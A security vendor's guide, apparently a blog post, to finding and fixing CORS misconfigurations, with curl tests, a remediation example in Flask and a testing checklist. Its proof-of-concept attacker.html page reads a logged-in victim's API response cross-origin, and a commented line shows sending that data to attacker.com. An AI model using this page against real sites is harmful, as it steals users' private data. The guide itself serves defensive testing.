CORS Misconfiguration Testing: A Complete Guide
Cross-Origin Resource Sharing (CORS) misconfigurations are one of the most consistently underrated web vulnerabilities. They appear in bug bounty programs at high severity, show up in pentest reports for everything from SaaS startups to financial institutions, and they're routinely missed by teams that rely solely on static analysis or a basic Nikto scan. The reason: exploiting a CORS misconfiguration requires a browser making a credentialed cross-origin request, which most scanners never simulate.
This guide covers how CORS works, every major misconfiguration class, how to test each one manually with curl and browser DevTools, what automated scanning actually catches, and how to fix it.
How CORS Works
The Same-Origin Policy (SOP) is the browser's core security boundary: a page at https://app.example.com cannot read responses from https://api.example.com unless the API explicitly permits it. CORS is the mechanism that carves out controlled exceptions to SOP.
When a browser makes a cross-origin request, the server's response either includes CORS headers permitting the request, or the browser blocks the response from being read by the requesting page. The critical point: the request is always sent. The browser receives the response. CORS only controls whether the JavaScript on the requesting page can read that response.
The key CORS headers:
Access-Control-Allow-Origin— which origins may read responses. Either a specific origin or*.Access-Control-Allow-Credentials— whether cookies/auth headers are included in cross-origin requests. Only meaningful whenAllow-Originis a specific origin, not*.Access-Control-Allow-Methods— permitted HTTP methods for preflighted requests.Access-Control-Allow-Headers— permitted request headers beyond the simple header set.Access-Control-Max-Age— how long preflight results can be cached.
For simple requests (GET, POST with certain content types), the browser sends the request and then checks the response headers. For non-simple requests (PUT, DELETE, custom headers, JSON body), the browser first sends an OPTIONS preflight request to verify the server permits the method and headers before sending the actual request.
The security implication: if a server responds with Access-Control-Allow-Origin: https://attacker.com and Access-Control-Allow-Credentials: true to requests from an attacker-controlled origin, an attacker's page can make authenticated requests to the target API and read the responses — including session data, user information, and private API responses.
Misconfiguration Types
1. Reflected Origin
The most impactful CORS misconfiguration. The server reads the Origin header from the request and reflects it back in Access-Control-Allow-Origin without validation. Combined with Access-Control-Allow-Credentials: true, this means any origin — including an attacker's page — can make authenticated cross-origin requests and read responses.
Request: Origin: https://evil.com → Response: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
This often appears in APIs that were built to support multiple frontends (mobile app, web app, partner integrations) where the developer added Access-Control-Allow-Origin: *, found it broke cookies/auth, switched to reflecting the origin dynamically, and shipped it without realizing the security implication.
2. Wildcard Origin (*)
Access-Control-Allow-Origin: * permits any origin to read responses. By itself, the browser prohibits sending credentials (cookies, Authorization headers) with wildcard CORS — so this is only exploitable without credentials. For truly public APIs with no authentication, this is intentional and fine. For any API that returns user-specific data even without explicit authentication (e.g., reads from session), this is a problem.
The real risk: developers sometimes respond with * for unauthenticated endpoints and then add features to those endpoints later that implicitly use session context. What was safe becomes a data leak.
3. Null Origin
Some servers whitelist null as a permitted origin. This sounds reasonable — null origin appears in browser security documentation as the origin for local files. The problem: null origin is also sent by sandboxed iframes, redirects from certain protocols, and browser-based file:// requests. An attacker can create a sandboxed iframe that sends requests with Origin: null and bypass origin restrictions entirely.
An attacker hosts: <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>/* fetch target with null origin */</script>"></iframe>
4. Trusting All Subdomains
A server validates that the request origin ends with .example.com. This seems safe — until you account for subdomain takeover, XSS on any subdomain, or developer subdomains that are less hardened than production. If an attacker controls anything.example.com (via subdomain takeover of an abandoned DNS entry, for example), they can use it as the allowed origin to exfiltrate data from the main application.
The origin validation is also often implemented incorrectly. A regex like .*\.example\.com without anchoring will match evil.com?foo=.example.com if the implementation does a substring match rather than a proper origin parse.
5. HTTPS-to-HTTP Downgrade
The server allows a secure HTTPS origin's HTTP equivalent. For example, it permits http://app.example.com in addition to https://app.example.com. On a network where HTTP traffic is interceptable (corporate proxies, coffee shop networks, mobile carriers), an attacker performing a network MitM can serve a page from the HTTP origin and use the CORS trust to exfiltrate data from the HTTPS API.
6. Overly Broad Regex Matching
Implementations that use regex for origin validation without proper anchoring. A check like origin.includes('example.com') or an unanchored regex will match attacker-registered domains like evil-example.com or notexample.com.evil.com.
Manual Testing with curl
CORS testing with curl is straightforward: send requests with a crafted Origin header and inspect the response headers. You're looking for what the server reflects back in Access-Control-Allow-Origin and whether Access-Control-Allow-Credentials: true is present.
Basic reflected origin test
# Test 1: Does the server reflect arbitrary origins?
curl -s -o /dev/null -D - \
-H "Origin: https://evil.com" \
https://api.example.com/v1/user/profile
# Expected vulnerable response:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true
# Expected safe response:
# Access-Control-Allow-Origin: https://app.example.com
# (or no CORS headers at all)
Null origin test
# Test 2: Does the server accept null origin?
curl -s -o /dev/null -D - \
-H "Origin: null" \
https://api.example.com/v1/user/profile
# Vulnerable if response contains:
# Access-Control-Allow-Origin: null
# Access-Control-Allow-Credentials: true
Subdomain and regex bypass tests
# Test 3: Subdomain matching — does it anchor correctly?
curl -s -o /dev/null -D - \
-H "Origin: https://evil.example.com" \
https://api.example.com/v1/user/profile
# Test 4: Suffix match bypass
curl -s -o /dev/null -D - \
-H "Origin: https://notexample.com" \
https://api.example.com/v1/user/profile
# Test 5: Prefix/substring bypass (attacker registered evil-example.com)
curl -s -o /dev/null -D - \
-H "Origin: https://evil-example.com" \
https://api.example.com/v1/user/profile
# Test 6: HTTP downgrade
curl -s -o /dev/null -D - \
-H "Origin: http://app.example.com" \
https://api.example.com/v1/user/profile
Preflight test for non-simple requests
# Test 7: OPTIONS preflight for authenticated API endpoints
curl -s -o /dev/null -D - \
-X OPTIONS \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: GET" \
-H "Access-Control-Request-Headers: Authorization" \
https://api.example.com/v1/user/profile
# Look for: Access-Control-Allow-Origin, Access-Control-Allow-Credentials
# in the preflight response
Authenticated endpoint test
CORS misconfigurations only matter when the response contains data worth stealing. For authenticated APIs, include valid session credentials to verify the server responds with actual data (not just 401):
# Test with session cookie to confirm data exposure
curl -s -D - \
-H "Origin: https://evil.com" \
-H "Cookie: session=your_valid_session_token" \
https://api.example.com/v1/user/profile
# If response body contains user data AND headers contain:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true
# — this is a confirmed high-severity finding
Testing with Browser DevTools
For more realistic testing — particularly for single-page apps where the CORS configuration may differ per-endpoint — use the browser console to simulate actual cross-origin requests.
Open DevTools on any page (or about:blank), then run:
// Credentialed cross-origin fetch — simulates what an attacker page would do
fetch('https://api.example.com/v1/user/profile', {
method: 'GET',
credentials: 'include', // sends cookies
headers: {
'Content-Type': 'application/json'
}
})
.then(r => r.json())
.then(data => console.log('Response:', JSON.stringify(data)))
.catch(err => console.log('CORS blocked:', err));
If the browser console shows the response data rather than a CORS error, the configuration is vulnerable. The origin of the page you ran this from (or null if from about:blank in some browsers) was permitted by the server.
For a more precise test, serve a minimal HTML file from a local server or attacker-controlled domain:
<!-- attacker.html — serve from http://localhost:8080 or attacker.com -->
<script>
fetch('https://api.example.com/v1/user/profile', {
credentials: 'include'
})
.then(r => r.text())
.then(body => {
document.body.innerHTML = '<pre>' + body + '</pre>';
// In a real attack: send body to attacker server
// fetch('https://attacker.com/collect?data=' + encodeURIComponent(body))
});
</script>
Serve it with python3 -m http.server 8080, visit http://localhost:8080/attacker.html while logged in to the target application, and check whether the target API response renders on the attacker page.
What Automated Scanning Finds
| Misconfiguration | Automated Detection | Notes |
|---|---|---|
Wildcard origin (*) |
Good | Simple header check; scanners catch this reliably |
| Reflected origin | Good | Send arbitrary Origin, check if reflected + credentials: true |
| Null origin | Good | Send Origin: null, check response |
| Overly broad regex | Moderate | Requires testing multiple bypass patterns; some tools miss suffix/prefix bypasses |
| Subdomain trust | Limited | Scanner must know your subdomain namespace to test realistically |
| HTTPS-to-HTTP downgrade | Moderate | Simple test once you know what HTTP origins to try |
| Exploitability with credentials | Limited | Requires authenticated scan with valid session to confirm data exposure |
The gap between "CORS header is misconfigured" and "this is exploitable" requires confirmation that the endpoint returns sensitive data when accessed with valid credentials via the misconfigured origin. Scanners that run unauthenticated will detect the header misconfiguration but cannot confirm what data is actually exposed.
Remediation
Maintain an explicit origin allowlist
The correct approach: define the exact set of origins your application needs to support and validate the request Origin header against that list. Never reflect the incoming origin back without validation.
# Python/Flask example
ALLOWED_ORIGINS = {
'https://app.example.com',
'https://admin.example.com',
}
@app.after_request
def add_cors_headers(response):
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
response.headers['Vary'] = 'Origin'
return response
The Vary: Origin header is critical when using dynamic origin allowlisting. Without it, caching proxies may serve a response with Access-Control-Allow-Origin: https://app.example.com to a request from a different origin, causing either CORS failures or — worse — leaking a permitted origin header to a blocked one.
Never use wildcard with credentials
Browsers will refuse to send credentials with wildcard CORS, but some server implementations incorrectly combine Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true. This combination is invalid per spec and will cause browsers to block the response — but some older browser versions or non-standard HTTP clients may not enforce this. Treat it as a misconfiguration regardless.
Reject null origin
Unless you have a specific documented requirement to permit local file or sandboxed iframe access, null should never be in your origin allowlist. If it is, remove it.
Anchor subdomain matching carefully
If you genuinely need to allow all subdomains of your domain, implement the check correctly:
# Python — correct subdomain validation
import re
from urllib.parse import urlparse
def is_allowed_origin(origin):
try:
parsed = urlparse(origin)
# Must be HTTPS
if parsed.scheme != 'https':
return False
# Must be exactly example.com or a direct subdomain
hostname = parsed.hostname or ''
return hostname == 'example.com' or hostname.endswith('.example.com')
except Exception:
return False
# NOT this — vulnerable to suffix bypass:
# if 'example.com' in origin: # matches evil-example.com
# return True
Scope CORS configuration per-endpoint
Not all endpoints need the same CORS policy. Public read-only API endpoints may legitimately use *. User-specific or write endpoints should use a strict allowlist with credentials. Apply the most restrictive policy your use case permits — don't apply the same permissive configuration across the entire API surface.
Use SameSite cookies as defense in depth
SameSite=Strict or SameSite=Lax on session cookies limits cross-site request abuse even when CORS is misconfigured, because the browser won't send the cookie in cross-site requests. This reduces — but does not eliminate — the risk: APIs using token-based auth (Bearer tokens in headers) are not protected by SameSite, since the token would need to be retrieved via JavaScript first (which is what the CORS misconfiguration enables).
Testing Checklist
- Send
Origin: https://evil.com— does the server reflect it back inAccess-Control-Allow-Origin? - If reflected: is
Access-Control-Allow-Credentials: truealso present? - Send
Origin: null— is the null origin accepted? - Send an HTTP variant of a trusted HTTPS origin — does the server accept it?
- Test subdomain bypass:
https://evil.example.com,https://evil-example.com,https://notexample.com - Test on preflight (OPTIONS) as well as GET/POST
- Run authenticated tests — confirm actual data exposure, not just header misconfiguration
- Check
Vary: Originis present on responses with dynamic origin allowlisting - Verify CORS configuration is applied at the API gateway / framework level, not inconsistently per-handler
- Test all API versioning paths (
/v1/,/v2/,/api/) — configurations often differ
Ironimo tests for CORS misconfigurations across your entire application — reflected origins, null origin abuse, and credential-bearing cross-origin requests — using the same methodology professional pentesters use.
Automated, on-demand scans that flag the exact request, response, and remediation path. No manual setup required.
Start free scan